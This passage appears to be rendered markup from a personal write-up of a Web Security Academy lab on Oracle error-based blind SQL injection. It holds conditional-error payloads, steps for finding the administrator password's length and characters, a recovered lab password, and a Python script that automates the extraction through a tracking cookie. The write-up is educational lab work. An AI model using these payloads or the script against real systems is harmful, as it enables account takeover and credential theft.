username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`One-liner (Burp-friendly):`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`False-user check (should stay `,_jsx(_components.code,{children:`200`}),`):`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`fwefwoeijfewow`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`Error response (`,_jsx(_components.code,{children:`500`}),`) -> condition true`]}),`\n`,_jsxs(_components.li,{children:[`Normal response (`,_jsx(_components.code,{children:`200`}),`) -> condition false`]}),`\n`]}),`\n`,_jsxs(_components.p,{children:[`Why both payloads can still return `,_jsx(_components.code,{children:`200`}),` in blind SQLi:`]}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`username='administrator'`}),` and `,_jsx(_components.code,{children:`username='fake_user'`}),` checks can both be\nsyntactically valid and non-crashing.`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`200`}),` only means the query executed, not that your condition was true.`]}),`\n`,_jsx(_components.li,{children:`You need a conditional side effect (error or delay) to create a visible\ntrue/false signal.`}),`\n`]}),`\n`,_jsx(Heading,{level:`4`,id:`step-4-find-password-length`,children:`Step 4: Find Password Length`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`8`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` SELECT CASE`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHEN (1=1) THEN TO_CHAR(1/0)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM users`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND LENGTH(password)>19`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`One-liner (Burp-friendly):`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND LENGTH(password)>19) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Adjust the number until you identify the exact length.`}),`\n`,_jsx(Heading,{level:`4`,id:`step-5-extract-password-characters`,children:`Step 5: Extract Password Characters`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`8`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` SELECT CASE`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHEN (1=1) THEN TO_CHAR(1/0)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` FROM users`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTR(password,1,1)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`One-liner (Burp-friendly):`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` END FROM users WHERE username=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTR(password,1,1)=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`) || `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Change position and candidate character until all characters are confirmed.`}),`\n`,_jsx(_components.p,{children:`Recovered password in this run:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`wjuc497wl6szhbtf0cbf`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsx(Heading,{level:`4`,id:`python-automation`,children:`Python Automation`}),`\n`,_jsx(_components.h5,{children:`1) My Version`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`22`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`22`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`url `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`chars `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` list`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`abcdefghijklmnopqrstuvwxyz0123456789`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`password `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`switch `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` True`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`counter `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 1`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`while`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` switch`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` switch `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` False`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` for`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` i `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`in`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` range`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`0`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` len`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`))`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` payload `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`counter`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`,1)='`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`i`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`]`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`') || '\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` headers `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` {`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Cookie`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` :`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`'TrackingId=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`payload`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`}`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`get`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` headers`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`headers`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`r`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`status_code`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` if`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`status_code `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`==`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 500`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` password `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` password `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`i`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`]`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` switch `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` True`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` counter `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 1`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:`print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`password`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`]})})}),`\n`,_jsx(_components.h5,{children:`2) My Version (AI Improved)`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`56`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`56`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`import`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`url `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`chars `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` 